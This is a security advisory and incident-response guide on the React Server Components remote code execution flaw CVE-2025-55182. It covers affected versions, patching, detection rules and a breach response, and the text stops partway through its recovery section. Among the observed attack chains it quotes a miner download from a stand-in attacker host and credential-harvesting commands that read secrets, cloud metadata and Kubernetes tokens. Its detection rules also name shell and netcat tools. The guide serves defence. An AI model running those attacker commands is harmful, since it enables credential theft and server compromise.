🚨 CRITICAL SECURITY ALERT: Active Exploitation Detected

React2Shell (CVE-2025-55182): Critical React Vulnerability & Complete Security Guide

| | | CVSS Score: 10.0 (CRITICAL)

Executive Summary

  • CVE-2025-55182 (React2Shell) is a critical unauthenticated remote code execution vulnerability with maximum CVSS score of 10.0
  • Affects React 19.x Server Components and frameworks like Next.js, React Router, Waku
  • Actively exploited in the wild by China-nexus threat groups since December 5, 2025
  • 39% of cloud environments contain vulnerable instances (Wiz Research data)
  • Default configurations are vulnerable - standard Next.js apps can be exploited with no code changes
  • Immediate patching required - patches available for all affected versions
  • Added to CISA Known Exploited Vulnerabilities Catalog with December 26, 2025 remediation deadline

On December 3, 2025, the React team disclosed a critical security vulnerability that has sent shockwaves through the web development community. CVE-2025-55182, dubbed "React2Shell", represents one of the most severe vulnerabilities discovered in the React ecosystem, with a maximum CVSS score of 10.0. This unauthenticated remote code execution (RCE) flaw affects React Server Components (RSC) in React 19.x versions and has already been actively exploited by sophisticated threat actors targeting cloud infrastructure, particularly for credential harvesting and cryptocurrency mining operations.

The vulnerability stems from unsafe deserialization in React's Flight protocol, which handles communication between client and server in React Server Components. Even more concerning, applications using frameworks like Next.js with App Router, React Router, Waku, and other RSC-enabled frameworks may be vulnerable even if developers haven't explicitly implemented Server Functions. According to security research firm Wiz, 39% of cloud environments contain instances vulnerable to this exploit, with 61% having publicly exposed applications.

This comprehensive guide provides security teams, developers, and DevOps engineers with everything needed to understand, detect, and remediate CVE-2025-55182. We'll cover the technical details of the vulnerability, real-world exploitation scenarios, immediate mitigation steps, and long-term security best practices for React applications.


Understanding CVE-2025-55182: What is React2Shell?

Vulnerability Overview and Classification

CVE-2025-55182 is classified as a CWE-502: Deserialization of Untrusted Data vulnerability. It was discovered by security researcher Lachlan Davidson and reported to Meta's Bug Bounty program on November 29, 2025. The React team confirmed the vulnerability on November 30 and released patches on December 3, 2025 - a remarkably fast response time that underscores the severity of the issue.

AttributeDetails
CVE IDCVE-2025-55182
Common NameReact2Shell
CVSS Score10.0 (CRITICAL)
Vulnerability TypeUnauthenticated Remote Code Execution (RCE)
CWE ClassificationCWE-502: Deserialization of Untrusted Data
Affected ComponentReact Server Components (Flight Protocol)
Authentication RequiredNone (Unauthenticated)
Attack ComplexityLow
Disclosure DateDecember 3, 2025
Active ExploitationYES (Since December 5, 2025)
CISA KEV StatusAdded to Known Exploited Vulnerabilities Catalog

What Are React Server Components?

Before diving into the vulnerability, it's essential to understand React Server Components (RSC). Introduced in React 18 and stabilized in React 19, RSC enables developers to build components that render exclusively on the server, offering significant performance benefits:

  • Reduced client-side JavaScript bundle size - Server components don't ship to the browser
  • Direct access to backend resources - Databases, file systems, and APIs without additional API layers
  • Improved initial page load performance - HTML is generated on the server
  • Automatic code splitting - React handles optimization automatically

React Server Components communicate between client and server using a custom protocol called "Flight". This protocol serializes and deserializes React components, props, and state to enable seamless server-client interaction. It's in this Flight protocol where CVE-2025-55182 resides.

Technical Root Cause: Unsafe Deserialization Explained

The vulnerability exists in how React Server Components deserialize HTTP request payloads sent to React Server Function endpoints. Here's the technical breakdown:

  1. Flight Protocol Processing: When a client makes a request to a React Server Function, the server receives a serialized payload using React's proprietary Flight protocol format.
  2. Insufficient Input Validation: The vulnerable code fails to properly validate and sanitize the structure of incoming Flight protocol payloads before deserializing them.
  3. Attacker-Controlled Object Creation: An attacker can craft a malicious HTTP request containing specially formatted Flight data that, when deserialized, creates arbitrary JavaScript objects.
  4. Code Execution: These malicious objects can reference built-in Node.js modules and execute arbitrary code on the server with the privileges of the Node.js process.

The flaw is particularly dangerous because it's a logical vulnerability rather than a traditional buffer overflow or injection. The deserialization process itself is functioning as designed, but the lack of validation on the input structure allows attackers to abuse legitimate functionality for malicious purposes.

// Simplified conceptual example (NOT actual exploit code)
// React Server Function endpoint receives request:
POST /api/server-action
Content-Type: text/x-component

// Malicious Flight protocol payload (simplified):
{
  "type": "module-reference",
  "name": "child_process",
  "method": "execSync",
  "args": ["malicious command"]
}

// Vulnerable deserialization code (conceptual):
function deserializeFlightPayload(payload) {
  // UNSAFE: No validation of payload structure
  const obj = JSON.parse(payload);
  
  if (obj.type === 'module-reference') {
    const module = require(obj.name); // Attacker controls module name!
    return module[obj.method](...obj.args); // Attacker controls method and args!
  }
}

// Result: Arbitrary code execution on the server

âš ī¸ Important Note: The above code is a simplified conceptual example for educational purposes only. The actual Flight protocol is more complex, and we are not disclosing specific exploit details to maintain ecosystem security. Public proof-of-concept exploits are already circulating, making immediate patching critical.


Affected Versions and Systems: Am I Vulnerable?

React Packages Directly Affected

CVE-2025-55182 affects specific React packages that implement Server Components functionality. If your project uses any of the following packages in the vulnerable versions, you are at risk:

Package NameVulnerable VersionsPatched Versions
react-server-dom-webpack19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-parcel19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-turbopack19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1
react19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1
react-dom19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1

Frameworks and Bundlers Affected

Many popular React frameworks and bundlers depend on or include the vulnerable React packages. The following frameworks are confirmed to be affected:

Next.js (Most Widely Affected)

Next.js is the most widely impacted framework, particularly versions using the App Router:

  • Next.js 14.3.0-canary.77 and later canary releases - Vulnerable
  • Next.js 15.x (all versions) - Vulnerable
  • Next.js 16.x (all versions) - Vulnerable

â„šī¸ Next.js Note: CVE-2025-66478 was initially assigned to Next.js but has been rejected as a duplicate of CVE-2025-55182. The underlying vulnerability is the same, originating in the React Server Components implementation.

Other Affected Frameworks

React Router

Applications using React Router's unstable RSC APIs are vulnerable. Update @vitejs/plugin-rsc and related packages.

Waku

Waku framework users must upgrade to the latest version and update React dependencies.

Redwood SDK (rwsdk)

Ensure you're on rwsdk >= 1.0.0-alpha.0 with updated React packages.

Parcel RSC Plugin

@parcel/rsc users must update to the latest version immediately.

Vite RSC Plugin

@vitejs/plugin-rsc requires updating to the latest patched version.

Expo

Expo users should follow guidance from expo.dev/changelog for mitigation steps.

Who Is NOT Affected?

You are NOT vulnerable to CVE-2025-55182 if:

  • Your React application does not use a server (purely client-side applications)
  • Your React version is older than 19.0.0 (React 18.x and below are not affected)
  • You're using Next.js Pages Router exclusively without App Router features
  • Your application doesn't use any framework or bundler with React Server Components support
  • You've already patched to the fixed versions mentioned in this guide

âš ī¸ Important: Even if you haven't explicitly implemented React Server Functions in your code, default Next.js App Router configurations may include vulnerable endpoints. It's safest to assume you're vulnerable if using any affected framework version and patch immediately.

How to Check If Your Application Is Vulnerable

Follow these steps to determine if your application is affected:

1. Check Your package.json

# Navigate to your project directory
cd your-project

# Check React version
grep -E '"react"|"react-dom"' package.json

# Check for RSC packages
grep -E '"react-server-dom-webpack"|"react-server-dom-parcel"|"react-server-dom-turbopack"' package.json

# Check Next.js version
grep '"next"' package.json

2. Use npm audit or yarn audit

# npm users
npm audit

# Yarn users
yarn audit

# pnpm users
pnpm audit

3. Use Specialized Security Scanners

Several security vendors have released scanners specifically for CVE-2025-55182:

  • Snyk: Free CVE-2025-55182 scanning for npm dependencies
  • Sonatype: Integrated detection in Nexus Lifecycle
  • Wiz: Security Graph queries for cloud environments
  • Tenable: Vulnerability scanner plugin available

4. Search Your Codebase for RSC Usage

# Search for Server Components indicators
grep -r "use server" src/
grep -r "use client" src/

# Search for Server Actions
grep -r "formAction" src/
grep -r "serverAction" src/

# Search for App Router usage (Next.js)
ls -la app/  # If this directory exists, you're likely using App Router

Real-World Exploitation: Active Attacks and Impact

Exploitation Timeline

The React2Shell vulnerability has seen rapid exploitation following its public disclosure:

DateEvent
November 29, 2025Lachlan Davidson discovers and reports vulnerability to Meta Bug Bounty
November 30, 2025Meta security researchers confirm vulnerability and begin working on fix
December 1-2, 2025React team works with hosting providers and open source projects to validate fix
December 3, 2025Public disclosure and patches released for React and affected frameworks
December 4, 2025AWS identifies China-nexus groups experimenting with early exploit code
December 5, 2025 (04:00 UTC)Public PoC exploits released - mass scanning begins
December 5, 2025 (06:00 UTC)First confirmed compromises - Wiz identifies multiple victims
December 5, 2025CISA adds CVE-2025-55182 to Known Exploited Vulnerabilities Catalog
December 5-6, 2025Widespread exploitation continues - cryptocurrency mining campaigns detected

Threat Actor Activity

Multiple threat intelligence organizations have documented active exploitation of CVE-2025-55182:

China-Nexus Advanced Persistent Threat (APT) Groups

AWS Security reported that multiple China-nexus cyber threat groups rapidly adopted the React2Shell exploit. These sophisticated actors were observed:

  • Experimenting with early exploit attempts on December 4, before full PoC release
  • Targeting cloud infrastructure for persistent access
  • Credential harvesting operations from environment variables and cloud metadata services
  • Lateral movement preparation within compromised cloud environments

Opportunistic Cybercriminal Groups

GreyNoise intelligence identified 95 unique IP addresses conducting automated exploitation attempts starting at 04:00 UTC on December 5. These attacks are characterized by:

  • Automated scanning of internet-facing Next.js applications
  • Exploitation within hours of PoC release
  • Cryptocurrency mining deployments (XMRig miners)
  • Botnet recruitment of compromised servers

Documented Attack Scenarios

1. Cryptocurrency Mining Campaign

Wiz Research documented multiple cryptomining campaigns affecting several customers:

# Attack chain observed by Wiz:
1. Exploit CVE-2025-55182 via crafted HTTP POST to Server Function endpoint
2. Establish reverse shell connection to attacker C2 server
3. Download UPX-packed XMRig cryptocurrency miner
4. Configure miner with attacker's pool credentials
5. Attempt persistence via cron jobs or systemd services
6. Scan for other vulnerable hosts in the environment

# Command example (sanitized):
curl -X POST https://victim-app.com/api/server-action \
  -H "Content-Type: text/x-component" \
  --data-binary @malicious-payload.bin

# Post-exploitation observed:
wget http://attacker-server.com/xmrig-upx -O /tmp/miner
chmod +x /tmp/miner
/tmp/miner --url=pool.supportxmr.com:443 --user=<attacker-wallet>

2. Cloud Credential Harvesting

Attackers have been observed specifically targeting cloud deployments to extract valuable credentials:

# Observed credential harvesting techniques:

# 1. Environment variable extraction
env | grep -i "api_key\|secret\|password\|token" | base64

# 2. AWS metadata service queries
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 3. Docker secret extraction
cat /run/secrets/*

# 4. Kubernetes service account tokens
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# 5. Configuration file scanning
find / -name "*.env" -o -name "*config*.json" -o -name "credentials*" 2>/dev/null

3. Malware Deployment: Sliver Framework

In one compromised environment, Wiz identified attackers attempting to install the Sliver post-exploitation framework, commonly used for:

  • Command and control (C2) infrastructure establishment
  • Lateral movement within the compromised network
  • Persistent access maintenance
  • Data exfiltration capabilities

Attack Surface and Exposure Metrics

Security research has revealed the massive scale of potential exposure:

39%

Cloud environments contain vulnerable React/Next.js instances (Wiz Research)

69%

Cloud environments have Next.js framework present (regardless of version)

44%

All cloud environments have publicly exposed Next.js applications

Indicators of Compromise (IoCs)

Security teams should monitor for the following indicators:

Network Indicators

  • Unusual POST requests to Server Function endpoints (/api/*, /\_next/data/*)
  • Content-Type headers: text/x-component
  • Out-of-band DNS queries to OAST services (*.oast.live, *.oastify.com, *.burpcollaborator.net)
  • Outbound connections from Node.js processes to unexpected external IPs
  • Cryptocurrency mining pool traffic (ports 3333, 4444, 5555, 8080)

Host-Based Indicators

  • Unexpected child processes spawned by Node.js/Next.js applications
  • Shell execution (bash, sh, cmd.exe) from web application processes
  • File downloads to /tmp or unusual directories from Next.js processes
  • XMRig or other cryptocurrency miners in process lists
  • Anomalous file creation in application directories
  • Modified cron jobs or systemd services for persistence

Log Analysis Indicators

# Check application logs for suspicious patterns:

# 1. Malformed Flight protocol payloads
grep "text/x-component" /var/log/nginx/access.log
grep "RSC" /var/log/application.log

# 2. Unexpected module imports in error logs
grep -i "require.*child_process\|require.*fs\|require.*net" /var/log/application.log

# 3. Server Function endpoint anomalies
grep "POST.*api" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn

# 4. Error log spikes (exploitation attempts may generate errors)
tail -f /var/log/application.log | grep -i "error\|exception"

Immediate Mitigation: How to Fix CVE-2025-55182

đŸŽ¯ Priority Action Items

  1. Identify all affected applications in your infrastructure
  2. Update to patched versions immediately (no workarounds exist)
  3. Restart all affected services after updating
  4. Verify updates with vulnerability scanners
  5. Monitor for indicators of compromise (see previous section)
  6. Review logs for exploitation attempts prior to patching

Patching React Applications

The only complete mitigation is upgrading to patched versions. There are no effective workarounds or configuration changes that eliminate the vulnerability.

Step 1: Update React Core Packages

# For projects directly using React Server Components:

# Update to latest React 19.x patched versions:
npm install react@latest react-dom@latest

# Or update to specific patched versions:
npm install react@19.0.1 react-dom@19.0.1    # For 19.0.x users
npm install react@19.1.2 react-dom@19.1.2    # For 19.1.x users
npm install react@19.2.1 react-dom@19.2.1    # For 19.2.x users

# Yarn users:
yarn upgrade react@latest react-dom@latest

# pnpm users:
pnpm update react@latest react-dom@latest

Step 2: Update React Server DOM Packages

# Update all react-server-dom packages you're using:

# Webpack users:
npm install react-server-dom-webpack@latest

# Parcel users:
npm install react-server-dom-parcel@latest

# Turbopack users:
npm install react-server-dom-turbopack@latest

# Update all at once:
npm install react@latest react-dom@latest \
  react-server-dom-webpack@latest \
  react-server-dom-parcel@latest \
  react-server-dom-turbopack@latest

Patching Next.js Applications

Next.js has released patched versions across multiple release lines. Upgrade to the appropriate version for your release line:

# Identify your current Next.js version:
npm list next

# Upgrade to the patched version for your release line:

# Next.js 15.0.x users:
npm install next@15.0.5

# Next.js 15.1.x users:
npm install next@15.1.9

# Next.js 15.2.x users:
npm install next@15.2.6

# Next.js 15.3.x users:
npm install next@15.3.6

# Next.js 15.4.x users:
npm install next@15.4.8

# Next.js 15.5.x users:
npm install next@15.5.7

# Next.js 16.0.x users:
npm install next@16.0.7

# For Next.js 14.3.0-canary.77 or later canary:
# Downgrade to latest stable 14.x:
npm install next@14

# Verify the update:
npm list next react react-dom

💡 Pro Tip: If you're on an older Next.js 15.x minor version not listed above, it's recommended to upgrade to the latest 15.5.7 or move to 16.0.7 for the most comprehensive security updates.

Patching Other Frameworks

React Router (RSC APIs)

# If using React Router's unstable RSC features:
npm install react@latest react-dom@latest \
  react-server-dom-parcel@latest \
  react-server-dom-webpack@latest \
  @vitejs/plugin-rsc@latest

Waku Framework

# Update Waku and React dependencies:
npm install waku@latest react@latest react-dom@latest react-server-dom-webpack@latest

# See https://github.com/wakujs/waku/discussions/1823 for details

Redwood SDK (rwsdk)

# Ensure minimum version:
npm install rwsdk@latest  # Must be >= 1.0.0-alpha.0

# Update React dependencies:
npm install react@latest react-dom@latest react-server-dom-webpack@latest

# See https://docs.rwsdk.com/migrating/ for migration guide

Vite RSC Plugin

# Update Vite RSC plugin and React:
npm install @vitejs/plugin-rsc@latest react@latest react-dom@latest

Expo

# Follow Expo-specific guidance:
# Visit https://expo.dev/changelog for mitigation instructions

# General React update:
npm install react@latest react-dom@latest

Verifying the Patch

After updating, verify that the vulnerability has been remediated:

1. Verify Package Versions

# Check installed versions:
npm list react react-dom next

# Expected output should show patched versions:
# react@19.0.1 (or 19.1.2, 19.2.1)
# react-dom@19.0.1 (or 19.1.2, 19.2.1)
# next@15.0.5 (or higher patched version)

# Check for vulnerabilities:
npm audit

# If vulnerability still shows, try:
npm audit fix

# Force update if needed:
npm update react react-dom next

2. Rebuild and Restart Applications

# Clean build artifacts:
rm -rf .next node_modules package-lock.json

# Reinstall dependencies:
npm install

# Rebuild application:
npm run build

# Restart application:
npm run start

# For Docker deployments, rebuild images:
docker build -t your-app:patched .
docker stop your-app-container
docker run -d --name your-app-container your-app:patched

3. Use Vulnerability Scanners

# Snyk scanning:
npx snyk test

# Trivy scanning (for containers):
trivy image your-app:patched

# OWASP Dependency Check:
dependency-check --project "YourApp" --scan ./

# Grype scanning:
grype dir:.

Temporary Mitigations from Hosting Providers

Several hosting and CDN providers have implemented temporary WAF (Web Application Firewall) protections. These should NOT replace patching but can provide a temporary layer of defense:

Vercel

Automatic WAF protections deployed. However, patching is still mandatory as WAF rules can be bypassed.

Cloudflare

WAF rules available to detect and block React2Shell exploitation attempts. Enable in dashboard.

Fastly NGWAF

Virtual Patch protection available. Proactive detection and blocking of malicious Flight protocol payloads.

Akamai

Kona Site Defender rules deployed. Monitor security advisories for configuration.

âš ī¸ CRITICAL WARNING: WAF protections are NOT a substitute for patching. They can be bypassed by determined attackers. You MUST update to patched versions regardless of WAF deployment.

Deployment Strategies for Large-Scale Environments

For organizations with many applications, consider this phased approach:

Phase 1: Discovery (0-24 hours)

  • Inventory all React/Next.js applications using SBOM analysis
  • Identify publicly exposed instances - patch these first
  • Check version control systems for affected code
  • Document dependencies and framework usage

Phase 2: Emergency Patching (24-48 hours)

  • Patch public-facing applications immediately
  • Deploy WAF rules as temporary protection
  • Test patches in staging environment first if possible
  • Schedule emergency maintenance windows

Phase 3: Complete Remediation (48-96 hours)

  • Patch internal applications and development environments
  • Update CI/CD pipelines to prevent reintroduction
  • Update base Docker images and container registries
  • Document lessons learned for future response

Phase 4: Verification (Ongoing)

  • Continuous vulnerability scanning
  • Monitor for new patches and security advisories
  • Review logs for pre-patch exploitation
  • Conduct incident response if compromise detected

Detection and Monitoring: Identifying Exploitation Attempts

Web Application Firewall (WAF) Rules

Implement these WAF rules to detect and block exploitation attempts:

ModSecurity Rule Example

# ModSecurity rule to detect React2Shell exploitation
SecRule REQUEST_HEADERS:Content-Type "@contains text/x-component" \
    "id:2025001,\
    phase:2,\
    block,\
    t:lowercase,\
    msg:'React2Shell CVE-2025-55182 Exploitation Attempt',\
    logdata:'Matched Data: %{MATCHED_VAR}',\
    severity:'CRITICAL',\
    setvar:'tx.react2shell_score=+5',\
    tag:'application-multi',\
    tag:'language-javascript',\
    tag:'platform-react',\
    tag:'attack-rce',\
    tag:'CVE-2025-55182'"

# Block suspicious Flight protocol patterns
SecRule REQUEST_BODY "@rx (?:module-reference|require\(|child_process|fs\.readFileSync)" \
    "id:2025002,\
    phase:2,\
    block,\
    t:urlDecodeUni,\
    msg:'Suspicious Flight Protocol Payload',\
    severity:'CRITICAL',\
    setvar:'tx.react2shell_score=+5',\
    tag:'CVE-2025-55182'"

Cloudflare WAF Custom Rule

// Cloudflare custom WAF rule expression:
(http.request.method eq "POST" and 
 (http.request.uri.path contains "/api/" or 
  http.request.uri.path contains "/_next/data/") and
 http.request.headers["content-type"][0] contains "text/x-component") or
(http.request.body.raw contains "module-reference" and
 http.request.body.raw contains "child_process")

SIEM Detection Rules

Configure your SIEM (Splunk, Elastic, etc.) to detect exploitation:

Splunk Query

# Detect potential React2Shell exploitation attempts
index=web_logs 
(method=POST AND (uri_path="*/api/*" OR uri_path="*/_next/data/*"))
(content_type="text/x-component" OR 
 request_body="*module-reference*" OR
 request_body="*child_process*" OR
 request_body="*require(*")
| stats count by src_ip, uri_path, content_type
| where count > 3
| eval severity="CRITICAL"
| eval cve="CVE-2025-55182"
| table _time, src_ip, uri_path, count, severity, cve

Elastic (EQL) Query

/* Detect React2Shell post-exploitation activity */
sequence by host.name
  [network where event.action == "connection_attempted" 
   and process.name in ("node", "node.exe") 
   and not cidrmatch(destination.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")]
  [process where event.action == "start" 
   and process.parent.name in ("node", "node.exe")
   and process.name in ("bash", "sh", "cmd.exe", "powershell.exe")]

Runtime Detection and EDR Rules

Configure endpoint detection to identify exploitation on compromised hosts:

Sigma Rule for EDR

title: React2Shell Exploitation - Suspicious Process Execution
id: react2shell-2025-55182
status: experimental
description: Detects suspicious child processes spawned by Node.js indicative of React2Shell exploitation
references:
    - https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
author: Security Team
date: 2025/12/07
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\\node.exe'
            - '\\next-server.exe'
    selection_child:
        Image|endswith:
            - '\\cmd.exe'
            - '\\powershell.exe'
            - '\\bash.exe'
            - '\\sh.exe'
            - '\\curl.exe'
            - '\\wget.exe'
    condition: selection_parent and selection_child
falsepositives:
    - Legitimate build processes
    - Development environments
level: critical
tags:
    - attack.execution
    - attack.t1059
    - cve.2025.55182

Wiz Sensor Queries

For Wiz users, pre-built queries are available in the threat center:

  • Rule cer-sen-id-215: Anomalous DNS queries from Next.js containers
  • Rule cer-sen-id-1001: Suspicious process execution from Node.js
  • Rule cer-sen-id-323: Cryptocurrency miner detection
  • Rule cer-sen-id-106: AWS credential harvesting attempts

Network-Based Detection

Suricata IDS Rule

# Suricata rule for React2Shell detection
alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"EXPLOIT React2Shell CVE-2025-55182 Exploitation Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"text/x-component"; http_header;
    content:"module-reference"; http_client_body;
    reference:cve,2025-55182;
    classtype:web-application-attack;
    sid:2025001;
    rev:1;
)

# Detect OAST callback attempts
alert dns $HOME_NET any -> any 53 (
    msg:"EXPLOIT React2Shell OAST Callback Attempt";
    dns_query;
    content:".oast"; nocase;
    reference:cve,2025-55182;
    classtype:trojan-activity;
    sid:2025002;
    rev:1;
)

Log Analysis and Forensics

Analyze application and web server logs for signs of exploitation:

#!/bin/bash
# React2Shell log analysis script

echo "=== Analyzing logs for CVE-2025-55182 exploitation ==="

# 1. Check for Flight protocol requests
echo "\n[+] Suspicious Flight protocol requests:"
grep -i "text/x-component" /var/log/nginx/access.log | \
    awk '{print $1, $4, $7, $9}' | sort | uniq -c | sort -rn

# 2. Identify exploitation attempts from unique IPs
echo "\n[+] Top source IPs with Flight protocol requests:"
grep "text/x-component" /var/log/nginx/access.log | \
    awk '{print $1}' | sort | uniq -c | sort -rn | head -20

# 3. Check for POST requests to Server Function endpoints
echo "\n[+] POST requests to potential Server Function endpoints:"
grep "POST.*\/api\/" /var/log/nginx/access.log | \
    grep -E "19[0-9]|20[0-9]|50[0-9]" | \
    awk '{print $1, $4, $7, $9}' | tail -50

# 4. Application error logs (may indicate failed exploitation)
echo "\n[+] Recent application errors (may indicate exploitation):"
tail -100 /var/log/application.log | grep -i "error\|exception" | \
    grep -i "deseriali\|flight\|rsc"

# 5. Check for suspicious user agents
echo "\n[+] Suspicious or automated user agents:"
grep "text/x-component" /var/log/nginx/access.log | \
    awk -F'"' '{print $6}' | sort | uniq -c | sort -rn

# 6. Timeline of exploitation attempts
echo "\n[+] Timeline of potential exploitation (last 24 hours):"
grep "text/x-component" /var/log/nginx/access.log | \
    awk '{print $4}' | cut -d: -f1,2 | sort | uniq -c

echo "\n=== Analysis complete ==="
echo "Review suspicious IPs and consider blocking if exploitation confirmed"

Container and Kubernetes Detection

For containerized environments, monitor for anomalous behavior:

# Falco rule for React2Shell detection in containers
- rule: React2Shell Container Exploitation
  desc: Detects suspicious process execution in React/Next.js containers
  condition: >
    spawned_process and
    container and
    container.image.repository in (node, nextjs) and
    proc.name in (bash, sh, curl, wget, nc, netcat) and
    not proc.pname in (npm, yarn, pnpm)
  output: >
    Potential React2Shell exploitation in container
    (user=%user.name container_id=%container.id 
    container_name=%container.name image=%container.image.repository 
    process=%proc.name parent=%proc.pname command=%proc.cmdline)
  priority: CRITICAL
  tags: [container, exploit, CVE-2025-55182]

Cloud-Specific Detection

AWS CloudWatch Insights Query

# Query ECS/Fargate logs for React2Shell indicators
fields @timestamp, @message
| filter @message like /text\/x-component/
    or @message like /module-reference/
    or @message like /child_process/
| stats count() by bin(5m) as time_window
| sort time_window desc

Azure Sentinel KQL Query

// Azure Sentinel detection for React2Shell
let timeframe = 7d;
let react_endpoints = dynamic(["api", "_next/data"]);
W3CIISLog
| where TimeGenerated > ago(timeframe)
| where csMethod == "POST"
| where csUriStem has_any (react_endpoints)
| where csUserAgent contains "python" or 
        csUserAgent contains "curl" or
        csContentType contains "text/x-component"
| summarize 
    Requests = count(),
    UniqueIPs = dcount(cIP),
    Endpoints = make_set(csUriStem)
    by bin(TimeGenerated, 1h), cIP
| where Requests > 10
| order by Requests desc

Incident Response: If You've Been Compromised

If you discover or suspect exploitation of CVE-2025-55182 in your environment, follow this incident response procedure immediately.

Phase 1: Immediate Containment (0-2 Hours)

1. Isolate Affected Systems

# Isolate compromised container/server from network:

# For Docker containers:
docker network disconnect bridge compromised_container_id

# For Kubernetes pods:
kubectl label pod <pod-name> quarantine=true
kubectl patch networkpolicy <policy-name> --patch '{"spec":{"podSelector":{"matchLabels":{"quarantine":"true"}}}}'

# For AWS EC2 instances, modify security group to block all traffic:
aws ec2 modify-instance-attribute \
    --instance-id i-1234567890abcdef0 \
    --groups sg-0123456789abcdef0  # Quarantine security group with no rules

# For Azure VMs:
az vm update -g myResourceGroup -n myVM --set networkProfile.networkInterfaces[0].primary=false

2. Preserve Evidence

# Create forensic snapshots BEFORE patching:

# Docker containers - commit to image:
docker commit compromised_container evidence_$(date +%Y%m%d_%H%M%S)

# Kubernetes - copy logs and pod description:
kubectl logs <pod-name> > evidence_logs_$(date +%Y%m%d_%H%M%S).log
kubectl describe pod <pod-name> > evidence_pod_$(date +%Y%m%d_%H%M%S).txt

# VM disk snapshot (AWS):
aws ec2 create-snapshot \
    --volume-id vol-1234567890abcdef0 \
    --description "Forensic snapshot - CVE-2025-55182 incident $(date)"

# Copy critical logs before isolation:
tar -czf evidence_$(hostname)_$(date +%Y%m%d_%H%M%S).tar.gz \
    /var/log/nginx/ \
    /var/log/application.log \
    /var/log/syslog \
    ~/.bash_history \
    /tmp/

3. Kill Malicious Processes

# Identify and terminate suspicious processes:

# Find processes spawned by Node.js:
ps auxf | grep -E "node|next" -A 5

# Kill cryptocurrency miners:
pkill -9 -f "xmrig\|miner\|cryptonight"

# Kill reverse shells:
pkill -9 -f "nc\|netcat\|bash -i\|/bin/sh -i"

# Check for persistence mechanisms:
crontab -l
systemctl list-units --type=service --state=running | grep -v "@"
ls -la /etc/systemd/system/

Phase 2: Investigation and Analysis (2-8 Hours)

1. Determine Initial Compromise Time

# Search logs for first exploitation attempt:
grep -i "text/x-component" /var/log/nginx/access.log | head -1

# Check file modification times for backdoors:
find /var/www /tmp /home -type f -mtime -7 -ls

# Review application start time and compare with suspicious activity:
systemctl status your-app.service

# Check Docker container start time:
docker inspect <container-id> | grep StartedAt

2. Identify Data Exfiltration

# Check for credential harvesting:
grep -i "aws\|secret\|key\|token\|password" /var/log/application.log

# Review outbound network connections:
netstat -tunap | grep ESTABLISHED
ss -tunap | grep ESTABLISHED

# Check for data staged for exfiltration:
find /tmp /var/tmp -type f -size +10M -mtime -7

# Review S3 access logs for unusual data access (AWS):
aws s3api get-bucket-logging --bucket your-bucket-name

# Check CloudTrail for suspicious API calls:
aws cloudtrail lookup-events \
    --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue \
    --start-time $(date -u -d '7 days ago' +%Y-%m-%dT%H:%M:%S)

3. Identify Lateral Movement

# Check for SSH key modifications:
find /home /root -name "authorized_keys" -mtime -7 -ls

# Review authentication logs:
grep -i "Accepted publickey\|Accepted password" /var/log/auth.log | tail -50

# Check for internal network scanning:
grep -E "Connection.*from.*internal" /var/log/syslog

# Kubernetes - check for unauthorized API access:
kubectl get events --all-namespaces | grep -i "unauthorized\|forbidden"

Phase 3: Eradication (8-24 Hours)

1. Remove Malware and Backdoors

# Remove common persistence mechanisms:

# Malicious cron jobs:
crontab -r  # WARNING: Removes ALL cron jobs - review first!
crontab -e  # Edit to remove only malicious entries

# Malicious systemd services:
systemctl disable malicious.service
rm /etc/systemd/system/malicious.service
systemctl daemon-reload

# SSH backdoors:
rm /root/.ssh/unauthorized_key
rm /home/*/.ssh/unauthorized_key

# Web shells and backdoors:
find /var/www -name "*.php" -mtime -7 -type f -exec grep -l "eval\|base64_decode\|system\|exec" {} \;

# Remove miners:
rm -f /tmp/xmrig /tmp/miner /usr/local/bin/update

2. Revoke Compromised Credentials

# Rotate all credentials that may have been exposed:

# AWS credentials:
aws iam delete-access-key --access-key-id AKIAIOSFODNN7EXAMPLE --user-name compromised-user
aws iam create-access-key --user-name compromised-user

# Update application secrets:
kubectl create secret generic app-secrets --from-literal=api_key=NEW_KEY --dry-run=client -o yaml | kubectl apply -f -

# Rotate database passwords:
mysql -u root -p -e "ALTER USER 'app_user'@'%' IDENTIFIED BY 'new_secure_password';"

# Invalidate sessions:
redis-cli FLUSHDB  # If using Redis for sessions

# Rotate JWT secrets:
# Update JWT_SECRET in environment variables and restart services

3. Rebuild Compromised Systems

Best practice: Assume full system compromise and rebuild from clean images:

# Kubernetes: Delete and recreate pods from clean images
kubectl delete pod <compromised-pod>
kubectl rollout restart deployment/<deployment-name>

# Docker: Rebuild containers from clean base images
docker stop compromised_container
docker rm compromised_container
docker pull your-registry/your-image:latest  # Ensure this is patched!
docker run -d --name clean_container your-registry/your-image:latest

# EC2: Launch new instance from clean AMI
aws ec2 terminate-instances --instance-ids i-compromised
aws ec2 run-instances --image-id ami-clean --instance-type t3.medium ...

# Azure: Rebuild VM from clean image
az vm deallocate --name compromised-vm --resource-group myRG
az vm delete --name compromised-vm --resource-group myRG --yes
az vm create --name clean-vm --resource-group myRG --image clean-image

Phase 4: Recovery (24-48 Hours)

1. Restore from Clean Backups

# Restore from backup taken BEFORE initial compromise:

# Identify clean backup:
aws ec2 describe-snapshots --owner-ids self \
    --filters "Name=start-time,Values=2025-11-28*" \
    --query 'Snapshots[*].[SnapshotId,StartTime,Description]' \
    --output table

# Restore database from backup:
mysql -u root -p database_name < backup_pre_compromise.sql

# Restore files from backup:
tar -xzf backup_pre_compromise.tar.gz -C /var/www/

# Kubernetes PVC restore:
kubectl apply -f pvc-restore-from-snapshot.yaml

2. Patch All Systems

# Apply patches across entire infrastructure:

# Update all Node.js containers:
